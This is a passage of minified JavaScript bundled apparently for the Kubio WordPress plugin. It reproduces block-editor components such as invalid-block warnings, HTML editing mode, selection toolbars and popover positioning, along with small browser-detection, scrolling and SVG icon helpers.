title:Object(b._x)("Resolve","imperative verb","kubio"),onClick:m},s&&{title:Object(b.__)("Convert to HTML","kubio"),onClick:t},{title:Object(b.__)("Convert to Classic Block","kubio"),onClick:r}].filter(Boolean)),[m,t,r]);return Object(o.createElement)(o.Fragment,null,Object(o.createElement)(p.a,{actions:[Object(o.createElement)(i.Button,{key:"recover",onClick:l,variant:"primary"},Object(b.__)("Attempt Block Recovery","kubio"))],secondaryActions:h},Object(b.__)("This block contains unexpected or invalid content.","kubio")),u&&Object(o.createElement)(i.Modal,{title:// translators: Dialog title to fix block content
Object(b.__)("Resolve Block","kubio"),onRequestClose:f,className:"block-editor-block-compare"},Object(o.createElement)(g,{block:a,onKeep:t,onConvert:n,convertor:v,convertButtonText:Object(b.__)("Convert to Blocks","kubio")})))}));const k=Object(o.createElement)(p.a,{className:"block-editor-block-list__block-crash-warning"},Object(b.__)("This block has encountered an error and cannot be previewed.","kubio"));var j=()=>k;class _ extends o.Component{constructor(){super(...arguments),this.state={hasError:!1}}componentDidCatch(){this.setState({hasError:!0})}render(){return this.state.hasError?this.props.fallback:this.props.children}}var y=_,E=n(252),S=n.n(E),C=function(e){let{clientId:t}=e;const[n,r]=Object(o.useState)(""),l=Object(a.useSelect)((e=>e(h.a).getBlock(t)),[t]),{updateBlock:i}=Object(a.useDispatch)(h.a);return Object(o.useEffect)((()=>{r(Object(c.getBlockContent)(l))}),[l]),Object(o.createElement)(S.a,{className:"block-editor-block-list__block-html-textarea",value:n,onBlur:()=>{const e=Object(c.getBlockType)(l.name);if(!e)return;const o=Object(c.getBlockAttributes)(e,n,l.attributes),a=n||Object(c.getSaveContent)(e,o),[s]=n?Object(c.validateBlock)({...l,attributes:o,originalContent:a}):[!0];i(t,{attributes:o,originalContent:a,isValid:s}),n||r({content:a})},onChange:e=>r(e.target.value)})},w=n(223),B=n(107);const I=Object(o.createContext)();function x(e){let{children:t,isHtml:n,...r}=e;return Object(o.createElement)("div",Object(w.a)(r,{__unstableIsHtml:n}),t)}const T=Object(a.withSelect)(((e,t)=>{let{clientId:n,rootClientId:o}=t;const{isBlockSelected:r,getBlockMode:l,isSelectionEnabled:c,getTemplateLock:i,__unstableGetBlockWithoutInnerBlocks:a,canRemoveBlock:s,canMoveBlock:u}=e(h.a),d=a(n),b=r(n),p=i(o),m=s(n,o),f=u(n,o),{name:g,attributes:v,isValid:O}=d||{};return{mode:l(n),isSelectionEnabled:c(),isLocked:!!p,canRemove:m,canMove:f,block:d,name:g,attributes:v,isValid:O,isSelected:b}})),N=Object(a.withDispatch)(((e,t,n)=>{const{updateBlockAttributes:o,insertBlocks:r,mergeBlocks:l,replaceBlocks:i,toggleSelection:a,__unstableMarkLastChangeAsPersistent:s,moveBlocksToPosition:u,removeBlock:d}=e(h.a);return{setAttributes(e){const{getMultiSelectedBlockClientIds:r}=n.select(h.a),l=r(),{clientId:c}=t,i=l.length?l:[c];o(i,e)},onInsertBlocks(e,n){const{rootClientId:o}=t;r(e,n,o)},onInsertBlocksAfter(e){const{clientId:o,rootClientId:l}=t,{getBlockIndex:c}=n.select(h.a),i=c(o);r(e,i+1,l)},onMerge(e){const{clientId:o,rootClientId:i}=t,{getPreviousBlockClientId:a,getNextBlockClientId:s,getBlock:b,getBlockAttributes:p,getBlockName:m,getBlockOrder:f,getBlockIndex:g,getBlockRootClientId:v,canInsertBlockType:O}=n.select(h.a);function k(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];const o=v(e),l=f(e),[i]=l;if(1===l.length&&Object(c.isUnmodifiedBlock)(b(i)))d(e);else{if(O(m(i),o))u([i],e,o,g(e));else{const l=Object(c.switchToBlockType)(b(i),Object(c.getDefaultBlockName)());l&&l.length&&n.batch((()=>{r(l,g(e),o,t),d(i,!1)}))}!f(e).length&&Object(c.isUnmodifiedBlock)(b(e))&&d(e,!1)}}if(e){if(i){const e=s(i);if(e){if(m(i)!==m(e))return void l(i,e);{const t=p(i),o=p(e);if(Object.keys(t).every((e=>t[e]===o[e])))return void n.batch((()=>{u(f(e),e,i),d(e,!1)}))}}}const e=s(o);if(!e)return;f(e).length?k(e,!1):l(o,e)}else{const e=a(o);if(e)l(e,o);else if(i){const e=a(i);if(e&&m(i)===m(e)){const t=p(i),o=p(e);if(Object.keys(t).every((e=>t[e]===o[e])))return void n.batch((()=>{u(f(i),i,e),d(i,!1)}))}k(i)}}},onReplace(e,n,o){e.length&&!Object(c.isUnmodifiedDefaultBlock)(e[e.length-1])&&s(),i([t.clientId],e,n,o)},toggleSelection(e){a(e)}}}));t.b=Object(s.compose)(s.pure,T,N,Object(s.ifCondition)((e=>{let{block:t}=e;return!!t})),Object(i.withFilters)("editor.BlockListBlock"))((function(e){var t;let{block:{__unstableBlockSource:n},mode:r,isLocked:i,canRemove:s,clientId:b,isSelected:p,isSelectionEnabled:m,className:f,__unstableLayoutClassNames:g,name:v,isValid:k,attributes:_,wrapperProps:E,setAttributes:S,onReplace:w,onInsertBlocksAfter:T,onMerge:N,toggleSelection:M}=e;const{themeSupportsLayout:P,hasContentLockedParent:L,isContentBlock:R,isContentLocking:A,isTemporarilyEditingAsBlocks:D}=Object(a.useSelect)((e=>{var t,n;const{getSettings:o,__unstableGetContentLockingParent:r,getTemplateLock:l,__unstableGetTemporarilyEditingAsBlocks:i}=e(h.a),a=!!r(b);return{themeSupportsLayout:o().supportsLayout,isContentBlock:(null===(t=(n=e(c.store)).__experimentalHasContentRoleAttribute)||void 0===t?void 0:t.call(n,v))||!1,hasContentLockedParent:a,isContentLocking:"contentOnly"===l(b)&&!a,isTemporarilyEditingAsBlocks:i()===b}}),[v,b]),{removeBlock:F}=Object(a.useDispatch)(h.a),z=Object(o.useCallback)((()=>F(b)),[b]),V=Object(B.d)()||{};let H=Object(o.createElement)(d.a,{name:v,isSelected:p,attributes:_,setAttributes:S,insertBlocksAfter:i?void 0:T,onReplace:s?w:void 0,onRemove:s?z:void 0,mergeBlocks:s?N:void 0,clientId:b,isSelectionEnabled:m,toggleSelection:M,__unstableLayoutClassNames:g,__unstableParentLayout:Object.keys(V).length?V:void 0});const G=Object(c.getBlockType)(v);L&&!R&&(E={...E,tabIndex:-1}),null!=G&&G.getEditWrapperProps&&(E=function(e,t){const n={...e,...t};return null!=e&&e.className&&null!=t&&t.className&&(n.className=l()(e.className,t.className)),null!=e&&e.style&&null!=t&&t.style&&(n.style={...e.style,...t.style}),n}(E,G.getEditWrapperProps(_)));const $=E&&!!E["data-align"]&&!P;let U;if($&&(H=Object(o.createElement)("div",{className:"wp-block","data-align":E["data-align"]},H)),k)U="html"===r?Object(o.createElement)(o.Fragment,null,Object(o.createElement)("div",{style:{display:"none"}},H),Object(o.createElement)(x,{isHtml:!0},Object(o.createElement)(C,{clientId:b}))):(null==G?void 0:G.apiVersion)>1?H:Object(o.createElement)(x,E,H);else{const e=n?Object(c.serializeRawBlock)(n):Object(c.getSaveContent)(G,_);U=Object(o.createElement)(x,{className:"has-warning"},Object(o.createElement)(O,{clientId:b}),Object(o.createElement)(o.RawHTML,null,Object(u.safeHTML)(e)))}const{"data-align":W,...K}=null!==(t=E)&&void 0!==t?t:{},q={clientId:b,className:l()({"is-content-locked":A,"is-content-locked-temporarily-editing-as-blocks":D,"is-content-block":L&&R},W&&P&&`align${W}`,f),wrapperProps:K,isAligned:$},Y=Object(o.useMemo)((()=>q),Object.values(q));return Object(o.createElement)(I.Provider,{value:Y},Object(o.createElement)(y,{fallback:Object(o.createElement)(x,{className:"has-warning"},Object(o.createElement)(j,null))},U))}))},function(e,t,n){"use strict";n.d(t,"a",(function(){return A}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(12),a=n(7),s=n(72),u=n(11),d=n(250),b=n(3),p=n(27),m=n(63),f=n(42),g=n(1),h=n(142),v=n(55),O=n(14),k=n(132),j=n(61),_=n(71),y=n(163),E=function(e){let{clientId:t,rootClientId:n}=e;const l=Object(j.a)(t),s=Object(a.useSelect)((e=>{var o;const{getBlock:r,getBlockIndex:l,hasBlockMovingClientId:c,getBlockListSettings:i,__unstableGetEditorMode:a}=e(O.a),s=l(t),{name:u,attributes:d}=r(t);return{index:s,name:u,attributes:d,blockMovingMode:c(),orientation:null===(o=i(n))||void 0===o?void 0:o.orientation,editorMode:a()}}),[t,n]),{index:u,name:E,attributes:S,blockMovingMode:C,orientation:w,editorMode:B}=s,{setNavigationMode:I,removeBlock:x}=Object(a.useDispatch)(O.a),T=Object(r.useRef)(),N=Object(i.getBlockType)(E),M=Object(i.__experimentalGetAccessibleBlockLabel)(N,S,u+1,w);Object(r.useEffect)((()=>{T.current.focus(),Object(m.speak)(M)}),[M]);const P=Object(_.a)(t),{hasBlockMovingClientId:L,getBlockIndex:R,getBlockRootClientId:A,getClientIdsOfDescendants:D,getSelectedBlockClientId:F,getMultiSelectedBlocksEndClientId:z,getPreviousBlockClientId:V,getNextBlockClientId:H}=Object(a.useSelect)(O.a),{selectBlock:G,clearSelectedBlock:$,setBlockMovingClientId:U,moveBlockToPosition:W}=Object(a.useDispatch)(O.a),K=c()("block-editor-block-list__block-selection-button",{"is-block-moving-mode":!!C}),q=Object(g.__)("Drag","kubio");return Object(r.createElement)("div",{className:K},Object(r.createElement)(b.Flex,{justify:"center",className:"block-editor-block-list__block-selection-button__content"},Object(r.createElement)(b.FlexItem,null,Object(r.createElement)(v.a,{icon:null==l?void 0:l.icon,showColors:!0})),Object(r.createElement)(b.FlexItem,null,"zoom-out"===B&&Object(r.createElement)(y.a,{clientIds:[t],hideDragHandle:!0}),"navigation"===B&&Object(r.createElement)(k.a,{clientIds:[t]},(e=>Object(r.createElement)(b.Button,Object(o.a)({icon:d.a,className:"block-selection-button_drag-handle","aria-hidden":"true",label:q,tabIndex:"-1"},e))))),Object(r.createElement)(b.FlexItem,null,Object(r.createElement)(b.Button,{ref:T,onClick:"navigation"===B?()=>I(!1):void 0,onKeyDown:function(e){const{keyCode:n}=e,o=n===p.UP,r=n===p.DOWN,l=n===p.LEFT,c=n===p.RIGHT,i=n===p.TAB,a=n===p.ESCAPE,s=n===p.ENTER,u=n===p.SPACE,d=e.shiftKey;if(n===p.BACKSPACE||n===p.DELETE)return x(t),void e.preventDefault();const b=F(),m=z(),g=V(m||b),h=H(m||b),v=i&&d||o,O=i&&!d||r,k=l,j=c;let _;if(v)_=g;else if(O)_=h;else if(k){var y;_=null!==(y=A(b))&&void 0!==y?y:b}else if(j){var E;_=null!==(E=D([b])[0])&&void 0!==E?E:b}const S=L();if(a&&S&&!e.defaultPrevented&&(U(null),e.preventDefault()),(s||u)&&S){const e=A(S),t=A(b),n=R(S);let o=R(b);n<o&&e===t&&(o-=1),W(S,e,t,o),G(S),U(null)}if(O||v||k||j)if(_)e.preventDefault(),G(_);else if(i&&b){let t;if(O){t=P;do{t=f.focus.tabbable.findNext(t)}while(t&&P.contains(t));t||(t=P.ownerDocument.defaultView.frameElement,t=f.focus.tabbable.findNext(t))}else t=f.focus.tabbable.findPrevious(P);t&&(e.preventDefault(),t.focus(),$())}},label:M,showTooltip:!1,className:"block-selection-button_select-button"},Object(r.createElement)(h.a,{clientId:t,maximumLength:35})))))},S=n(254),C=n(147),w=n(316);const B={placement:"top-start"},I={...B,flip:!1,shift:!0},x={...B,flip:!0,shift:!1};function T(e,t,n,o,r){if(!e||!t)return I;const l=(null==n?void 0:n.scrollTop)||0,c=t.getBoundingClientRect(),i=l+e.getBoundingClientRect().top,a=e.ownerDocument.documentElement.clientHeight,s=i+o,u=c.top>s,d=c.height>a-o;return r||!u&&!d?x:I}var N=n(90),M=n(97);function P(e){const{__unstableGetEditorMode:t,isMultiSelecting:n,hasMultiSelection:o,isTyping:r,isBlockInterfaceHidden:l,getSettings:c,getLastMultiSelectedBlockClientId:i}=Object(M.c)(e(O.a));return{editorMode:t(),hasMultiSelection:o(),isMultiSelecting:n(),isTyping:r(),isBlockInterfaceHidden:(null==l?void 0:l())||!1,hasFixedToolbar:c().hasFixedToolbar,isDistractionFree:c().isDistractionFree,lastClientId:o()?i():null}}function L(e){let{clientId:t,rootClientId:n,isEmptyDefaultBlock:l,showContents:i,capturingClientId:d,__unstablePopoverSlot:b,__unstableContentRef:p}=e;const{editorMode:m,hasMultiSelection:g,isMultiSelecting:h,isTyping:v,isBlockInterfaceHidden:k,hasFixedToolbar:j,isDistractionFree:y,lastClientId:B}=Object(a.useSelect)(P,[]),I=Object(a.useSelect)((e=>{const{isBlockInsertionPointVisible:n,getBlockInsertionPoint:o,getBlockOrder:r}=e(O.a);if(!n())return!1;const l=o();return r(l.rootClientId)[l.index]===t}),[t]),x=Object(u.useViewportMatch)("medium"),M=Object(r.useRef)(!1),{stopTyping:L}=Object(a.useDispatch)(O.a),R=!v&&"edit"===m&&l,A=!g&&("navigation"===m||"zoom-out"===m),D="edit"===m&&!j&&x&&!h&&!R&&!v&&!k,F=!("edit"!==m||D||j||y||l);Object(s.useShortcut)("core/block-editor/focus-toolbar",(()=>{M.current=!0,L(!0)}),{isDisabled:!F}),Object(r.useEffect)((()=>{M.current=!1}));const z=Object(r.useRef)(),V=function(e){let{contentElement:t,clientId:n}=e;const o=Object(_.a)(n),[l,c]=Object(r.useState)(0),{blockIndex:i,isSticky:s}=Object(a.useSelect)((e=>{const{getBlockIndex:t,getBlockAttributes:o}=e(O.a);return{blockIndex:t(n),isSticky:Object(w.a)(o(n))}}),[n]),d=Object(r.useMemo)((()=>{if(t)return Object(f.getScrollContainer)(t)}),[t]),[b,p]=Object(r.useState)((()=>T(t,o,d,l,s))),m=Object(u.useRefEffect)((e=>{c(e.offsetHeight)}),[]),g=Object(r.useCallback)((()=>p(T(t,o,d,l,s))),[t,o,d,l]);return Object(r.useLayoutEffect)(g,[i,g]),Object(r.useLayoutEffect)((()=>{var e,n,r;if(!t||!o)return;const l=null==t||null===(e=t.ownerDocument)||void 0===e?void 0:e.defaultView;let c;null==l||null===(n=l.addEventHandler)||void 0===n||n.call(l,"resize",g);const i=null==o||null===(r=o.ownerDocument)||void 0===r?void 0:r.defaultView;return i.ResizeObserver&&(c=new i.ResizeObserver(g),c.observe(o)),()=>{var e;null==l||null===(e=l.removeEventHandler)||void 0===e||e.call(l,"resize",g),c&&c.disconnect()}}),[g,t,o]),{...b,ref:m}}({contentElement:null==p?void 0:p.current,clientId:t});return R?Object(r.createElement)(C.a,Object(o.a)({clientId:d||t,__unstableCoverTarget:!0,bottomClientId:B,className:c()("block-editor-block-list__block-side-inserter-popover",{"is-insertion-point-visible":I}),__unstablePopoverSlot:b,__unstableContentRef:p,resize:!1,shift:!1},V),Object(r.createElement)("div",{className:"block-editor-block-list__empty-block-inserter"},Object(r.createElement)(N.a,{position:"bottom right",rootClientId:n,clientId:t,__experimentalIsQuick:!0}))):A||D?Object(r.createElement)(C.a,Object(o.a)({clientId:d||t,bottomClientId:B,className:c()("block-editor-block-list__block-popover",{"is-insertion-point-visible":I}),__unstablePopoverSlot:b,__unstableContentRef:p,resize:!1},V),D&&i&&Object(r.createElement)(S.a,{focusOnMount:M.current,__experimentalInitialIndex:z.current,__experimentalOnIndexChange:e=>{z.current=e},key:t}),A&&Object(r.createElement)(E,{clientId:t,rootClientId:n})):null}function R(e){const{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:n,getBlockRootClientId:o,getBlock:r,getBlockParents:l,getSettings:c,isNavigationMode:a,__experimentalGetBlockListSettingsForBlocks:s}=e(O.a),u=t()||n();if(!u)return;const{name:d,attributes:b={}}=r(u)||{},p=l(u),m=s(p),f=p.find((e=>{var t;return null===(t=m[e])||void 0===t?void 0:t.__experimentalCaptureToolbars})),g=c();return{clientId:u,rootClientId:o(u),name:d,isDistractionFree:g.isDistractionFree,isNavigationMode:a(),isEmptyDefaultBlock:d&&Object(i.isUnmodifiedDefaultBlock)({name:d,attributes:b}),capturingClientId:f}}function A(e){let{__unstablePopoverSlot:t,__unstableContentRef:n}=e;const o=Object(a.useSelect)(R,[]);if(!o)return null;const{clientId:l,rootClientId:c,name:i,isEmptyDefaultBlock:s,capturingClientId:u,isDistractionFree:d,isNavigationMode:b}=o;return i?Object(r.createElement)(L,{clientId:l,rootClientId:c,isEmptyDefaultBlock:s,showContents:!d||b,capturingClientId:u,__unstablePopoverSlot:t,__unstableContentRef:n}):null}},,function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"}));t.a=l},function(e,t,n){"use strict";var o=n(275),r=n(276),l=10,c=40,i=800;function a(e){var t=0,n=0,o=0,r=0;return"detail"in e&&(n=e.detail),"wheelDelta"in e&&(n=-e.wheelDelta/120),"wheelDeltaY"in e&&(n=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=n,n=0),o=t*l,r=n*l,"deltaY"in e&&(r=e.deltaY),"deltaX"in e&&(o=e.deltaX),(o||r)&&e.deltaMode&&(1==e.deltaMode?(o*=c,r*=c):(o*=i,r*=i)),o&&!t&&(t=o<1?-1:1),r&&!n&&(n=r<1?-1:1),{spinX:t,spinY:n,pixelX:o,pixelY:r}}a.getEventType=function(){return o.firefox()?"DOMMouseScroll":r("wheel")?"wheel":"mousewheel"},e.exports=a},function(e,t){var n,o,r,l,c,i,a,s,u,d,b,p,m,f,g,h=!1;function v(){if(!h){h=!0;var e=navigator.userAgent,t=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(e),v=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(p=/\b(iPhone|iP[ao]d)/.exec(e),m=/\b(iP[ao]d)/.exec(e),d=/Android/i.exec(e),f=/FBAN\/\w+;/i.exec(e),g=/Mobile/i.exec(e),b=!!/Win64/.exec(e),t){(n=t[1]?parseFloat(t[1]):t[5]?parseFloat(t[5]):NaN)&&document&&document.documentMode&&(n=document.documentMode);var O=/(?:Trident\/(\d+.\d+))/.exec(e);i=O?parseFloat(O[1])+4:n,o=t[2]?parseFloat(t[2]):NaN,r=t[3]?parseFloat(t[3]):NaN,(l=t[4]?parseFloat(t[4]):NaN)?(t=/(?:Chrome\/(\d+\.\d+))/.exec(e),c=t&&t[1]?parseFloat(t[1]):NaN):c=NaN}else n=o=r=c=l=NaN;if(v){if(v[1]){var k=/(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(e);a=!k||parseFloat(k[1].replace("_","."))}else a=!1;s=!!v[2],u=!!v[3]}else a=s=u=!1}}var O={ie:function(){return v()||n},ieCompatibilityMode:function(){return v()||i>n},ie64:function(){return O.ie()&&b},firefox:function(){return v()||o},opera:function(){return v()||r},webkit:function(){return v()||l},safari:function(){return O.webkit()},chrome:function(){return v()||c},windows:function(){return v()||s},osx:function(){return v()||a},linux:function(){return v()||u},iphone:function(){return v()||p},mobile:function(){return v()||p||m||d||g},nativeApp:function(){return v()||f},android:function(){return v()||d},ipad:function(){return v()||m}};e.exports=O},function(e,t,n){"use strict";var o,r=n(277);r.canUseDOM&&(o=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature("","")),e.exports=function(e,t){if(!r.canUseDOM||t&&!("addEventListener"in document))return!1;var n="on"+e,l=n in document;if(!l){var c=document.createElement("div");c.setAttribute(n,"return;"),l="function"==typeof c[n]}return!l&&o&&"wheel"===e&&(l=document.implementation.hasFeature("Events.wheel","3.0")),l}},function(e,t,n){"use strict";var o=!("undefined"==typeof window||!window.document||!window.document.createElement),r={canUseDOM:o,canUseWorkers:"undefined"!=typeof Worker,canUseEventListeners:o&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:o&&!!window.screen,isInWorker:!o};e.exports=r},function(e,t,n){"use strict";var o=n(279);e.exports=function(e,t,n){n=n||{},9===t.nodeType&&(t=o.getWindow(t));var r=n.allowHorizontalScroll,l=n.onlyScrollIfNeeded,c=n.alignWithTop,i=n.alignWithLeft,a=n.offsetTop||0,s=n.offsetLeft||0,u=n.offsetBottom||0,d=n.offsetRight||0;r=void 0===r||r;var b=o.isWindow(t),p=o.offset(e),m=o.outerHeight(e),f=o.outerWidth(e),g=void 0,h=void 0,v=void 0,O=void 0,k=void 0,j=void 0,_=void 0,y=void 0,E=void 0,S=void 0;b?(_=t,S=o.height(_),E=o.width(_),y={left:o.scrollLeft(_),top:o.scrollTop(_)},k={left:p.left-y.left-s,top:p.top-y.top-a},j={left:p.left+f-(y.left+E)+d,top:p.top+m-(y.top+S)+u},O=y):(g=o.offset(t),h=t.clientHeight,v=t.clientWidth,O={left:t.scrollLeft,top:t.scrollTop},k={left:p.left-(g.left+(parseFloat(o.css(t,"borderLeftWidth"))||0))-s,top:p.top-(g.top+(parseFloat(o.css(t,"borderTopWidth"))||0))-a},j={left:p.left+f-(g.left+v+(parseFloat(o.css(t,"borderRightWidth"))||0))+d,top:p.top+m-(g.top+h+(parseFloat(o.css(t,"borderBottomWidth"))||0))+u}),k.top<0||j.top>0?!0===c?o.scrollTop(t,O.top+k.top):!1===c?o.scrollTop(t,O.top+j.top):k.top<0?o.scrollTop(t,O.top+k.top):o.scrollTop(t,O.top+j.top):l||((c=void 0===c||!!c)?o.scrollTop(t,O.top+k.top):o.scrollTop(t,O.top+j.top)),r&&(k.left<0||j.left>0?!0===i?o.scrollLeft(t,O.left+k.left):!1===i?o.scrollLeft(t,O.left+j.left):k.left<0?o.scrollLeft(t,O.left+k.left):o.scrollLeft(t,O.left+j.left):l||((i=void 0===i||!!i)?o.scrollLeft(t,O.left+k.left):o.scrollLeft(t,O.left+j.left)))}},function(e,t,n){"use strict";var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};function l(e,t){var n=e["page"+(t?"Y":"X")+"Offset"],o="scroll"+(t?"Top":"Left");if("number"!=typeof n){var r=e.document;"number"!=typeof(n=r.documentElement[o])&&(n=r.body[o])}return n}function c(e){return l(e)}function i(e){return l(e,!0)}function a(e){var t=function(e){var t,n=void 0,o=void 0,r=e.ownerDocument,l=r.body,c=r&&r.documentElement;return n=(t=e.getBoundingClientRect()).left,o=t.top,{left:n-=c.clientLeft||l.clientLeft||0,top:o-=c.clientTop||l.clientTop||0}}(e),n=e.ownerDocument,o=n.defaultView||n.parentWindow;return t.left+=c(o),t.top+=i(o),t}var s=new RegExp("^("+/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source+")(?!px)[a-z%]+$","i"),u=/^(top|right|bottom|left)$/,d="currentStyle",b="runtimeStyle",p="left",m=void 0;function f(e,t){for(var n=0;n<e.length;n++)t(e[n])}function g(e){return"border-box"===m(e,"boxSizing")}"undefined"!=typeof window&&(m=window.getComputedStyle?function(e,t,n){var o="",r=e.ownerDocument,l=n||r.defaultView.getComputedStyle(e,null);return l&&(o=l.getPropertyValue(t)||l[t]),o}:function(e,t){var n=e[d]&&e[d][t];if(s.test(n)&&!u.test(t)){var o=e.style,r=o[p],l=e[b][p];e[b][p]=e[d][p],o[p]="fontSize"===t?"1em":n||0,n=o.pixelLeft+"px",o[p]=r,e[b][p]=l}return""===n?"auto":n});var h=["margin","border","padding"],v=-1,O=2,k=1;function j(e,t,n){var o=0,r=void 0,l=void 0,c=void 0;for(l=0;l<t.length;l++)if(r=t[l])for(c=0;c<n.length;c++){var i;i="border"===r?r+n[c]+"Width":r+n[c],o+=parseFloat(m(e,i))||0}return o}function _(e){return null!=e&&e==e.window}var y={};function E(e,t,n){if(_(e))return"width"===t?y.viewportWidth(e):y.viewportHeight(e);if(9===e.nodeType)return"width"===t?y.docWidth(e):y.docHeight(e);var o="width"===t?["Left","Right"]:["Top","Bottom"],r="width"===t?e.offsetWidth:e.offsetHeight,l=(m(e),g(e)),c=0;(null==r||r<=0)&&(r=void 0,(null==(c=m(e,t))||Number(c)<0)&&(c=e.style[t]||0),c=parseFloat(c)||0),void 0===n&&(n=l?k:v);var i=void 0!==r||l,a=r||c;if(n===v)return i?a-j(e,["border","padding"],o):c;if(i){var s=n===O?-j(e,["border"],o):j(e,["margin"],o);return a+(n===k?0:s)}return c+j(e,h.slice(n),o)}f(["Width","Height"],(function(e){y["doc"+e]=function(t){var n=t.document;return Math.max(n.documentElement["scroll"+e],n.body["scroll"+e],y["viewport"+e](n))},y["viewport"+e]=function(t){var n="client"+e,o=t.document,r=o.body,l=o.documentElement[n];return"CSS1Compat"===o.compatMode&&l||r&&r[n]||l}}));var S={position:"absolute",visibility:"hidden",display:"block"};function C(e){var t=void 0,n=arguments;return 0!==e.offsetWidth?t=E.apply(void 0,n):function(e,o,r){var l={},c=e.style,i=void 0;for(i in o)o.hasOwnProperty(i)&&(l[i]=c[i],c[i]=o[i]);for(i in function(){t=E.apply(void 0,n)}.call(e),o)o.hasOwnProperty(i)&&(c[i]=l[i])}(e,S),t}function w(e,t,n){var o=n;if("object"!==(void 0===t?"undefined":r(t)))return void 0!==o?("number"==typeof o&&(o+="px"),void(e.style[t]=o)):m(e,t);for(var l in t)t.hasOwnProperty(l)&&w(e,l,t[l])}f(["width","height"],(function(e){var t=e.charAt(0).toUpperCase()+e.slice(1);y["outer"+t]=function(t,n){return t&&C(t,e,n?0:k)};var n="width"===e?["Left","Right"]:["Top","Bottom"];y[e]=function(t,o){return void 0===o?t&&C(t,e,v):t?(m(t),g(t)&&(o+=j(t,["padding","border"],n)),w(t,e,o)):void 0}})),e.exports=o({getWindow:function(e){var t=e.ownerDocument||e;return t.defaultView||t.parentWindow},offset:function(e,t){if(void 0===t)return a(e);!function(e,t){"static"===w(e,"position")&&(e.style.position="relative");var n=a(e),o={},r=void 0,l=void 0;for(l in t)t.hasOwnProperty(l)&&(r=parseFloat(w(e,l))||0,o[l]=r+t[l]-n[l]);w(e,o)}(e,t)},isWindow:_,each:f,css:w,clone:function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);if(e.overflow)for(var n in e)e.hasOwnProperty(n)&&(t.overflow[n]=e.overflow[n]);return t},scrollLeft:function(e,t){if(_(e)){if(void 0===t)return c(e);window.scrollTo(t,i(e))}else{if(void 0===t)return e.scrollLeft;e.scrollLeft=t}},scrollTop:function(e,t){if(_(e)){if(void 0===t)return i(e);window.scrollTo(c(e),t)}else{if(void 0===t)return e.scrollTop;e.scrollTop=t}},viewportWidth:0,viewportHeight:0},y)},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"}));t.a=l},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z"}));t.a=l},function(e,t,n){"use strict";n.d(t,"a",(function(){return S}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(1),a=n(12),s=n(3),u=n(11),d=n(7),b=n(23),p=n(70),m=n(30),f=n(50),g=n(41),h=n(14);const v="position",O="block-editor-hooks__position-selection__select-control__option",k={key:"default",value:"",name:Object(i.__)("Default","kubio"),className:O},j={key:"sticky",value:"sticky",name:Object(i.__)("Sticky","kubio"),className:O,__experimentalHint:Object(i.__)("The block will stick to the top of the window instead of scrolling.","kubio")},_={key:"fixed",value:"fixed",name:Object(i.__)("Fixed","kubio"),className:O,__experimentalHint:Object(i.__)("The block will not move when the page is scrolled.","kubio")},y=["top","right","bottom","left"],E=["sticky","fixed"];function S(e){var t,n;const o=null===(t=e.style)||void 0===t||null===(n=t.position)||void 0===n?void 0:n.type;return"sticky"===o||"fixed"===o}function 